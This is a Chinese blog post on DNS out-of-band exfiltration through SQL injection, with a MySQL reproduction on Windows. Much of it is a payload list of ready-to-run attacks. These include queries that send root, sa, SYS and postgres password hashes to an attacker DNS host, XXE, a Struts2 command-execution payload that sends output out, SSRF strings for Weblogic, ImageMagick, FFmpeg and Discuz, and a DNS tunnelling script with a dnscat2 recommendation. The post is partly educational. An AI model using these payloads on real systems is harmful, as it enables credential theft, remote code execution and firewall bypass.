数据库out_of_band攻击【原理分析、复现】

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://sp4rkw.blog.csdn.net/article/details/79094001

这个问题已经是去年提出的了,之前也看到过,在CTF题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。这里对原理进行一波总结,并利用了CEYE平台成功的进行了原理复现利用。
博客原文地址:http://blog.csdn.net/wy_97/article/details/79094001

#原理分析
这个虽然是利用到了比如说mysql的LOAD_FILE函数,其实本质还是对window的资源管理器的一个利用,利用协议//去进行一个子域名的DNS解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)
先了解下DNS解析的基本原理吧
##一张图解释DNS查询
这里写图片描述
下面来详细解释DNS域名解析的过程:

  1. 网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

  2. 查询www.163.com的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。

  3. 根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。

  4. 本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。

  5. 最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。

总结:当你查询abc.hack.com这个子域名时,dns服务器hack.com会收到你的解析请求,这里就是out_of_band利用的原理了

##windows资源管理器角度
为什么我说这是对windows资源管理器的利用,这里进行演示
当你在资源管理器地址栏输入:

\\test.u0ocor.ceye.io\\abc
#u0ocor.ceye.io是我申请账号的dns解析服务器地址

你的测试账号服务器就会收到DNS解析请求,并记录(资源管理器这里不好截图)
这里写图片描述
#数据库漏洞复现
当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个out_of_band就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始
测试环境:

机器 操作系统 配置
A机 win7 mysql环境,对secure进行了修改
B机 win10 mysql环境,未对secure进行了修改

##参数secure_file_priv
这个参数是全局变量,可以通过下列语句进行查询:

A机
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
|                    |
+--------------------+
1 row in set (0.00 sec)
B机
mysql> select @@secure_file_priv;
+------------------------------------------------+
| @@secure_file_priv                             |
+------------------------------------------------+
| C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ |
+------------------------------------------------+

解释:
这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。(根据两台测试机器不同版本的mysql来判断,会默认为mysql的一个/upload根目录下)
补充一下两个机器的mysql版本:

A机
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.7.19    |
+-----------+
1 row in set (0.00 sec)
B机
mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.7.17-log |
+------------+
1 row in set (0.00 sec)

##复现
在满足上述全局变量的条件下,注意四个点:

  • 最大查询长度问题,文件的大小限制
  • 文件编码是否和数据库相同
  • 绝对路径需要使用//
  • 子域名最大长度问题,DNS规定,域名中的标号都由英文字母和数字组成,每一个标号不超过63个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。

下面进行演示:

A机:
mysql> use test;
Database changed
mysql> select * from test;
+------+----------+
| name | password |
+------+----------+
| abc  | 123456   |
+------+----------+
1 row in set (0.01 sec)

mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.
io\\abc'));
^C -- query aborted
+------------------------------------------------------------------------------+

| LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc')) |

+------------------------------------------------------------------------------+

+------------------------------------------------------------------------------+

1 row in set (21.19 sec)

效果如图:
这里写图片描述

B机
mysql> select load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc'));
+-----------------------------------------------------------------------------------------------------------------------------+
| load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc')) |
+-----------------------------------------------------------------------------------------------------------------------------+
| NULL                                                                                                                        |
+-----------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

这里写图片描述
至于能用来读取什么文件,或者是查询什么数据就看具体情况和具体需求了,读文件需要考虑文件权限,编码等等问题

#漏洞限制

  • 限制在windows系统,因为原理是利用了load_file在windows中读取文件利用到了资源管理器(可能不准确,未具体研究,但是能和资源管理器进行相同一个DNS查询操作,这个官方文档中并未提及)
  • 在mysql5.5.53之前,参数secure_file_priv一直是为空可以任意进行读取,在我的测试中,之后的mysql版本已经对此有所限制(目录限制,没法随意读取文件)
  • 漏洞的利用点不一定停留在数据库(更不限于mysql),如果你能换起windows的资源管理器,就可以成功利用这个dns通道查询传输信息
    #一些payload
windows

ping %USERNAME%.u0ocor.ceye.io


SQL Server

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.u0ocor.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.u0ocor.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.u0ocor.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.u0ocor.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.u0ocor.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.u0ocor.ceye.io',80) FROM DUAL;

MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.u0ocor.ceye.io\\abc'));

PostgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.u0ocor.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.u0ocor.ceye.io/xxe_test">
%remote;]>
<root/>

Struts2

xx.action?redirect:http://ip.port.u0ocor.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.u0ocor.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.u0ocor.ceye.io
#EXT-X-ENDLIST

Weblogic

 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.u0ocor.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.u0ocor.ceye.io)'
pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.u0ocor.ceye.io/ssrf

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.u0ocor.ceye.io/xx.jpg[/img]&formhash=xxoo

#补充
从这个漏洞出发,拓展到任意主机上,这是一个利用dns进行内网穿透传输信息的技术,这可以应用于某些渗透场景~
用kali演示了一个小脚本

root@kali:~/Desktop# ./dns_file.sh
Server:		192.168.148.2
Address:	192.168.148.2#53

Non-authoritative answer:
Name:	Alice.u0ocor.ceye.io
Address: 118.192.48.48

Server:		192.168.148.2
Address:	192.168.148.2#53

Non-authoritative answer:
Name:	Bob.u0ocor.ceye.io
Address: 118.192.48.48

Server:		192.168.148.2
Address:	192.168.148.2#53

Non-authoritative answer:
Name:	John.u0ocor.ceye.io
Address: 118.192.48.48

root@kali:~/Desktop# cat test.txt
Alice
Bob
John
root@kali:~/Desktop# cat dns_file.sh
#!/bin/sh
for i in $(cat test.txt);
do
nslookup "$i"".u0ocor.ceye.io";
done

这里推荐一个工具:dnscat2,下载地址:https://github.com/iagox86/dnscat2
dnscat2提供客户端和服务端。
使用的条件:
1 一台vps
2 一个域名控制权限
3 一台内网权限

具体的使用可以结合着两篇博客进行学习,这里不做演示了
利用 DNS 隧道传递数据和命令来绕过防火墙
利用PowerShell和Dnscat2绕过防火墙

技术有限,如文中有理解错误的地方希望大家指出,我及时进行更正

展开阅读全文

没有更多推荐了,返回首页